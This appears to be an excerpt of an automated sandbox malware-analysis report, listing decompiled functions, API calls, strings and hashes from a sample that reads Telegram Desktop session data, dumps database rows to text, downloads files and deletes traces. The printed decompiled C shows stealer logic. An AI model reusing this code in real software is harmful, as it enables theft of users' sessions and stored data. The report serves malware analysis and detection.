Part of subcall function 00475930: lstrcat.KERNEL32(?,00418BC4), ref: 00475A1E
Part of subcall function 00475930: lstrcat.KERNEL32(?,h`g), ref: 00475A2F
Part of subcall function 00475930: lstrcat.KERNEL32(?,00000000), ref: 00475A3F
Part of subcall function 00475930: lstrcat.KERNEL32(?,00418BC0), ref: 00475A4E
Part of subcall function 00475930: lstrcat.KERNEL32(?,0041A0FC), ref: 00475A5F
Part of subcall function 00475930: lstrcat.KERNEL32(?,00000000), ref: 00475A6F
Part of subcall function 00475930: lstrcat.KERNEL32(?,00418BC4), ref: 00475A7E

lstrcat.KERNEL32(?,00000000), ref: 00476A9E
SetCurrentDirectoryA.KERNEL32(0041A6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00476AAB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00476AB8

Strings

Wg, xrefs: 0047695E, 00476963
Hbg, xrefs: 00476964, 0047696A, 00476A7A, 00476A80
Og, xrefs: 00476936, 0047693C, 0047696B, 00476971, 00476A81, 00476A87

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: Hbg$Og$Wg
API String ID: 2767677664-2198919908
Opcode ID: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction ID: 4e30f55280176d426a0e3f19c9150fb2dfdb6b2d5db8b48730328a55a6c0c430
Opcode Fuzzy Hash: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction Fuzzy Hash: 386158F6901218ABC711EBA4DC45EDA73BCAB48704F00C59AF70D93151DB78E694CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00474C30, Relevance: 19.6, APIs: 13, Instructions: 141networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00474C5E
StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00474C8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00474CDF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00474D1F
StrCmpCA.SHLWAPI(?,00418B8C), ref: 00474D35
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00474D67
InternetReadFile.WININET(?,?,00000400,?), ref: 00474D90
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00474DBE
CloseHandle.KERNEL32(?,?,00000400), ref: 00474E0C
InternetCloseHandle.WININET(?), ref: 00474E16
InternetCloseHandle.WININET(00000000), ref: 00474E23

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID:
API String ID: 1681390745-0
Opcode ID: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction ID: da93a058bdeed91e273d74e5ab94d78072d82c2acf270077df1c01afaa631415
Opcode Fuzzy Hash: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction Fuzzy Hash: B35153B1A41218ABDB20CF50DC45FEE77B8BB88705F10C49AF609A62C0D7789A85CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x6760f8
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x676200
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x676128
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x676140
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x660410
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(006760F8,?,?,004061B1,?,006760F8,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\,006760F8,006760F8,?,004061B1,?,006760F8), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

@ag, xrefs: 00405C71
<, xrefs: 00405CD4
(ag, xrefs: 00405C42

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: (ag$<$@ag
API String ID: 2415926151-2238115656
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00475D50, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 00475E0A
lstrcat.KERNEL32(?,00000000), ref: 00475E23

Part of subcall function 0047C1A0: SHGetFolderPathA.SHELL32(00000000,00475E30,00000000,00000000,?,?,000003E8), ref: 0047C1CB

Part of subcall function 0047C100: StrStrA.SHLWAPI(0041A574,?,?,00475E47,?,0041A574,00000000), ref: 0047C10E

lstrcpy.KERNEL32(?,00000000), ref: 00475E52

Part of subcall function 0047C100: lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,00475E47,?,0041A574), ref: 0047C132
Part of subcall function 0047C100: wsprintfA.USER32 ref: 0047C18B

lstrcpy.KERNEL32(?,00000000), ref: 00475E81
lstrcpy.KERNEL32(?,00000000), ref: 00475EB0
lstrcpy.KERNEL32(?,00000000), ref: 00475EDF

Strings

(ag, xrefs: 00475E92, 00475E98
<, xrefs: 00475F24
@ag, xrefs: 00475EC1, 00475EC7

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: (ag$<$@ag
API String ID: 2415926151-2238115656
Opcode ID: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction ID: 0d28f3a167701fad67cdc07751846e6e5d9f55edd92b8ea5bc638e49038ba4e6
Opcode Fuzzy Hash: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction Fuzzy Hash: 346142F1900218ABDB25EB60DC85FDE7378AB58304F40859EF30DA6151DB799B88CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0047BF40, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4jGA, xrefs: 0047C09C, 0047C09F
4jGA, xrefs: 0047BF6C, 0047C0C0, 0047BF6F, 0047C0C3

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID:
String ID: 4jGA$4jGA
API String ID: 0-570207037
Opcode ID: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction ID: acd12730ff0c133d80ce99fb7cee13868281825e98fc241892e3fb0e37f82195
Opcode Fuzzy Hash: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction Fuzzy Hash: 0151DAB5A11208EFDB04DBE4DC84FEEB7B9AF4C700F148919F605E6290DB349952CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

(, xrefs: 004117FA
PE, xrefs: 004118AA

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00481970, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0048197E
GetFileSize.KERNEL32(00000000,00000000), ref: 00481A41
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00481A5E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00481A74
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00481A84
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00481A9A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00481AC3

Strings

PE, xrefs: 00481AFA
(, xrefs: 00481A4A

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: 2fb115bf494056579c6e6f6cde93d16ce55f0fd9dea51fadbdd8b0b1d8a5098b
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 8D813FB1D10208AFDB08EFD4D895BEEBBB5FF44305F10845AE505AB294D734AA82CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00476030, Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(0041A6A4), ref: 00476039
DeleteFileA.KERNEL32(0041A2F0), ref: 00476046
DeleteFileA.KERNEL32((rg), ref: 00476053
DeleteFileA.KERNEL32(8qg), ref: 0047605F
DeleteFileA.KERNEL32(0041A6CC), ref: 0047606C
DeleteFileA.KERNEL32(`qg), ref: 00476079
DeleteFileA.KERNEL32(0041A700), ref: 00476085

Strings

8qg, xrefs: 00476059, 0047605E
(rg, xrefs: 0047604C, 00476052
`qg, xrefs: 00476072, 00476078

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: DeleteFile
String ID: (rg$8qg$`qg
API String ID: 4033686569-315611923
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 004312C9, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00431525
__aulldiv.LIBCMT ref: 00431547
_write_multi_char.LIBCMTD ref: 0043164E
_write_string.LIBCMTD ref: 00431669
_write_multi_char.LIBCMTD ref: 00431695
_wctomb_s.LIBCMTD ref: 00431712

Strings

9, xrefs: 00431558
-, xrefs: 004315EE

Memory Dump Source

Source File: 00000015.00000002.837440802.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_42e000_DDEE.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 2197463554-1631151375
Opcode ID: cbe7692e870df9a0e5a0758bc7a8f303878daffb47c308b0c290f1c9c0ccf791
Instruction ID: 3308d47f6e9ae3c174cc445217720849d84c33fe22425d641e37194d22aa889b
Opcode Fuzzy Hash: cbe7692e870df9a0e5a0758bc7a8f303878daffb47c308b0c290f1c9c0ccf791
Instruction Fuzzy Hash: 53F14AB1D012299FEB24CF58CC99BAEB7B5BB48304F1491DAD409A7291D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x678838
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x672578
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Strings

x%g, xrefs: 0040945F

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: x%g
API String ID: 3196222039-2659632358
Opcode ID: 1c8957950121198ff0230525564156e693af58e8a687dffe7e60fa441055b9ac
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 1c8957950121198ff0230525564156e693af58e8a687dffe7e60fa441055b9ac
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00479650, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0047967F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004796D5
RtlAllocateHeap.NTDLL(00000000), ref: 004796DC
lstrcat.KERNEL32(?,?), ref: 0047973F
lstrcat.KERNEL32(?,004191EC), ref: 00479751
lstrcat.KERNEL32(?,?), ref: 00479765
lstrcat.KERNEL32(?,00418BC4), ref: 00479777
lstrlen.KERNEL32(?), ref: 00479789

Strings

x%g, xrefs: 004796AF, 004796B5

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: x%g
API String ID: 3196222039-2659632358
Opcode ID: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction ID: 0367b80cc5eb3c108173d4bfe7398b52a946754af45657d0c52695e5cdf18606
Opcode Fuzzy Hash: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction Fuzzy Hash: 0C41D8B1900108ABCB18EFA4DD4AFDA77B8AF08701F008599F709D3141D674DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0047B250, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0047B25D
RtlAllocateHeap.NTDLL(00000000), ref: 0047B264
memset.NTDLL ref: 0047B275
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0047B286
__aulldiv.LIBCMT ref: 0047B2A0
wsprintfA.USER32 ref: 0047B2CC

Strings

@, xrefs: 0047B27B
([G, xrefs: 0047B2C8, 0047B2D5, 0047B2CB

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: ([G$@
API String ID: 3391354518-3648921608
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: 4435bd22ef1c8307546def323185429e4902b0e1bac5e63a122299214dc172a5
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 600140B0D00208ABDB00DFE4DD49BEEB7B8FF04700F108959F605A7281D7B999118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00481770, Relevance: 13.6, APIs: 9, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00482CEA,?), ref: 00481778
StrCmpCA.SHLWAPI(?,00419340,?,00482CEA,?), ref: 004817C5
StrCmpCA.SHLWAPI(?,00419344,?,00482CEA,?), ref: 004817DF
StrCmpCA.SHLWAPI(?,0041934C,?,00482CEA,?), ref: 004817F9

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: 7d7d56ed870b2fa3d82f049e780df68661e4886cdfc0b860f4b9a76cbf177882
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD316139A04208EBCB00FFB1D9459EF77ACAE19740720885BE51597760D738DE43EB59

Uniqueness

